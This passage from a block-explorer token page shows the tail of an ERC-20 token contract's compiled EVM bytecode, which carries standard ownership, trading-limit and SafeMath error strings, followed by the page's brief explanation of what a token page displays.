2505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561205b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061207f9190613056565b8160018151811061209357612092613015565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120f93060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110de565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161215b959493929190613138565b5f604051808303815f87803b158015612172575f80fd5b505af1158015612184573d5f803e3d5ffd5b50505050505f601b5f6101000a81548160ff02191690831515021790555050565b5f8082846121b39190612e45565b9050838110156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef906131da565b60405180910390fd5b8091505092915050565b5f61224383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9a565b905092915050565b5f8083118290612291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612288919061231c565b60405180910390fd5b505f838561229f919061285f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6122ee826122ac565b6122f881856122b6565b93506123088185602086016122c6565b612311816122d4565b840191505092915050565b5f6020820190508181035f83015261233481846122e4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61236982612340565b9050919050565b6123798161235f565b8114612383575f80fd5b50565b5f8135905061239481612370565b92915050565b5f819050919050565b6123ac8161239a565b81146123b6575f80fd5b50565b5f813590506123c7816123a3565b92915050565b5f80604083850312156123e3576123e261233c565b5b5f6123f085828601612386565b9250506020612401858286016123b9565b9150509250929050565b5f8115159050919050565b61241f8161240b565b82525050565b5f6020820190506124385f830184612416565b92915050565b6124478161239a565b82525050565b5f6020820190506124605f83018461243e565b92915050565b5f805f6060848603121561247d5761247c61233c565b5b5f61248a86828701612386565b935050602061249b86828701612386565b92505060406124ac868287016123b9565b9150509250925092565b5f602082840312156124cb576124ca61233c565b5b5f6124d884828501612386565b91505092915050565b5f60ff82169050919050565b6124f6816124e1565b82525050565b5f60208201905061250f5f8301846124ed565b92915050565b61251e8161235f565b82525050565b5f6020820190506125375f830184612515565b92915050565b5f80604083850312156125535761255261233c565b5b5f61256085828601612386565b925050602061257185828601612386565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125fd578086048111156125d9576125d861257b565b5b60018516156125e85780820291505b80810290506125f6856125a8565b94506125bd565b94509492505050565b5f8261261557600190506126d0565b81612622575f90506126d0565b8160018114612638576002811461264257612671565b60019150506126d0565b60ff8411156126545761265361257b565b5b8360020a91508482111561266b5761266a61257b565b5b506126d0565b5060208310610133831016604e8410600b84101617156126a65782820a9050838111156126a1576126a061257b565b5b6126d0565b6126b384848460016125b4565b925090508184048111156126ca576126c961257b565b5b81810290505b9392505050565b5f6126e18261239a565b91506126ec836124e1565b92506127197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612606565b905092915050565b5f61272b8261239a565b91506127368361239a565b92508282026127448161239a565b9150828204841483151761275b5761275a61257b565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127966020836122b6565b91506127a182612762565b602082019050919050565b5f6020820190508181035f8301526127c38161278a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127fe6017836122b6565b9150612809826127ca565b602082019050919050565b5f6020820190508181035f83015261282b816127f2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128698261239a565b91506128748361239a565b92508261288457612883612832565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6128bb6128b66128b18461288f565b612898565b61239a565b9050919050565b6128cb816128a1565b82525050565b5f60c0820190506128e45f830189612515565b6128f1602083018861243e565b6128fe60408301876128c2565b61290b60608301866128c2565b6129186080830185612515565b61292560a083018461243e565b979650505050505050565b5f8151905061293e816123a3565b92915050565b5f805f6060848603121561295b5761295a61233c565b5b5f61296886828701612930565b935050602061297986828701612930565b925050604061298a86828701612930565b9150509250925092565b5f6040820190506129a75f830185612515565b6129b4602083018461243e565b9392505050565b6129c48161240b565b81146129ce575f80fd5b50565b5f815190506129df816129bb565b92915050565b5f602082840312156129fa576129f961233c565b5b5f612a07848285016129d1565b91505092915050565b5f612a2a612a25612a2084612340565b612898565b612340565b9050919050565b5f612a3b82612a10565b9050919050565b5f612a4c82612a31565b9050919050565b612a5c81612a42565b82525050565b5f604082019050612a755f830185612a53565b612a82602083018461243e565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612ae36026836122b6565b9150612aee82612a89565b604082019050919050565b5f6020820190508181035f830152612b1081612ad7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b716024836122b6565b9150612b7c82612b17565b604082019050919050565b5f6020820190508181035f830152612b9e81612b65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bff6022836122b6565b9150612c0a82612ba5565b604082019050919050565b5f6020820190508181035f830152612c2c81612bf3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c8d6025836122b6565b9150612c9882612c33565b604082019050919050565b5f6020820190508181035f830152612cba81612c81565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d1b6023836122b6565b9150612d2682612cc1565b604082019050919050565b5f6020820190508181035f830152612d4881612d0f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612da96029836122b6565b9150612db482612d4f565b604082019050919050565b5f6020820190508181035f830152612dd681612d9d565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612e116019836122b6565b9150612e1c82612ddd565b602082019050919050565b5f6020820190508181035f830152612e3e81612e05565b9050919050565b5f612e4f8261239a565b9150612e5a8361239a565b9250828201905080821115612e7257612e7161257b565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612eac601a836122b6565b9150612eb782612e78565b602082019050919050565b5f6020820190508181035f830152612ed981612ea0565b9050919050565b5f612eea8261239a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f1c57612f1b61257b565b5b600182019050919050565b5f612f318261239a565b9150612f3c8361239a565b9250828203905081811115612f5457612f5361257b565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb46021836122b6565b9150612fbf82612f5a565b604082019050919050565b5f6020820190508181035f830152612fe181612fa8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061305081612370565b92915050565b5f6020828403121561306b5761306a61233c565b5b5f61307884828501613042565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130b38161235f565b82525050565b5f6130c483836130aa565b60208301905092915050565b5f602082019050919050565b5f6130e682613081565b6130f0818561308b565b93506130fb8361309b565b805f5b8381101561312b57815161311288826130b9565b975061311d836130d0565b9250506001810190506130fe565b5085935050505092915050565b5f60a08201905061314b5f83018861243e565b61315860208301876128c2565b818103604083015261316a81866130dc565b90506131796060830185612515565b613186608083018461243e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131c4601b836122b6565b91506131cf82613190565b602082019050919050565b5f6020820190508181035f8301526131f1816131b8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7695759b245e188194d291f6e2700c36d1e32d5f7d498f1feace8d5a8532d6d64736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.